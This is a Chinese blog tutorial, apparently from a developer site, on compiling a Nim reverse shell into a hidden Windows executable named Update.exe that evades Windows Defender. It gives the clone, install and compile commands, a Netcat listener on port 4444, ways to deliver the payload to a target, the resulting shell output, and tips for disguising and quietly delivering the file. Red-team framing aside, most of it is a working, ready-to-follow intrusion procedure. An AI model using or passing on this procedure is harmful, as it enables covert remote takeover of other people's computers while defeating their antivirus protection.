零检出反弹Shell:冷门语言完美绕过Windows Defender

引言:

在网络安全和渗透测试领域,Windows Defender作为Windows 10及以上版本默认启用的安全防护工具,凭借其强大的恶意软件检测与拦截能力,为系统安全筑起了一道坚固防线。然而,对于安全研究人员以及红队测试人员而言,探索如何巧妙绕过Windows Defender并成功建立反向Shell(Reverse Shell),无疑是一大极具挑战性且意义非凡的研究课题。

在这篇文章中,我们将探讨如何利用Nim编程语言开发一个反向Shell程序,并将其编译成适用于Windows系统的可执行文件格式(.exe)。我们的目标是在Kali Linux环境下成功接收到反向Shell连接,同时确保这一过程能够规避Windows Defender的安全检测。

Nim 介绍与环境搭建

Nim 是一门相对较新的编程语言,具有高性能、可读性强、跨平台编译等特点。由于 Windows Defender 主要针对 C、Python、PowerShell 等常见语言的恶意 Payload 进行特征检测,因此使用 Nim 编写的 Shell 具有更高的隐匿性,不容易被 Windows Defender 识别。

本次使用的是 GitHub 上的 Nim-Reverse-Shell 项目,该项目由 Sn1r 开发,提供了一种简单但隐蔽的反向 Shell,能够有效绕过 Windows Defender。

1. 下载 Nim-Reverse-Shell

首先,在 Kali Linux 终端中执行以下命令,克隆 Nim 反向 Shell 的 GitHub 仓库:

git clone https://github.com/Sn1r/Nim-Reverse-Shell.git
cd Nim-Reverse-Shell

安装 Nim 编译器

由于 Nim 代码需要编译为 Windows 可执行文件,因此需要先安装 Nim 编译器。

2. 安装 Nim

首先,下载 Nim 安装包:

wget https://github.com/dom96/choosenim/releases/download/v0.8.4/choosenim-0.8.4_linux_amd64

然后,执行以下命令安装 Nim:

chmod +x choosenim-0.8.4_linux_amd64
./choosenim-0.8.4_linux_amd64

安装完成后,运行以下命令更新 Nim 到稳定版本:

nim update stable

默认情况下,Nim 可执行文件会被存储在以下目录:

/home/用户名/.nimble/bin

编译 Nim 反向 Shell

3. 生成可执行文件(Payload)

在成功安装 Nim 后,可以使用以下命令将 Nim 代码编译为 Windows 可执行文件(.exe):

nim c -d:mingw --app:gui --opt:speed -o:Update.exe ../../Desktop/rev.nim 

编译成功后,Update.exe 文件将被生成。 

设置 Netcat 监听器 

4. 启动 Netcat 监听端口

在 Kali Linux 上,使用 Netcat 监听即将连接的反向 Shell。在终端中执行以下命令:

nc -lvnp 4444

在 Windows 目标机上运行 Payload

5. 传输可执行文件到 Windows 目标机

将 Update.exe 文件传输到目标 Windows 计算机,可以使用:

  • USB 设备

  • 共享文件夹

  • 远程桌面传输

  • HTTP 服务器下载(例如 python3 -m http.server

6. 运行 Payload,获得反向 Shell

在 Windows 目标机上运行 Update.exe,此时 Windows Defender 不会报毒,并且该程序不会弹出窗口,而是悄无声息地运行在后台

如果一切配置正确,在 Kali Linux 上的 Netcat 监听窗口中,将看到一个新的 Shell 连接:

Connection received on 192.168.1.100:4444
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop> 

此时,已经成功获取了 Windows 目标机的 Shell 权限。

绕过 Windows Defender 的关键点

  1. Nim 语言的特性:由于 Nim 代码不像 Python、PowerShell 那样常见,因此 Windows Defender 对其检测力度较低。

  2. GUI 应用模式:编译时使用 --app:gui 选项,使得程序在 Windows 目标机上运行时不会弹出终端窗口,从而降低被用户发现的风险。

  3. 自定义 Payload 名称:使用类似 Update.exe 这样的系统常见文件名,避免被安全软件或用户怀疑。

  4. Payload 传输方式:避免通过邮件或公开网络下载,减少被 Windows Defender 云端分析的风险。

概括:
本文阐述了在Kali Linux操作系统中,运用Nim语言开发反向Shell的详细步骤。该反向Shell经过编译后生成Windows平台的可执行文件,能够有效规避Windows Defender的安全监控,进而实现对Windows目标计算机的远程操控。

操作流程概览:
1. 获取Nim-Reverse-Shell项目源码。
2. 安装Nim编程语言的编译器。
3. 编译生成恶意负载文件(例如命名为Update.exe)。
4. 在Kali Linux上启动Netcat,设置好监听端口。
5. 将编译好的Payload传输至Windows目标计算机并运行。
6. 成功建立并接收来自Windows目标计算机的反向Shell连接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值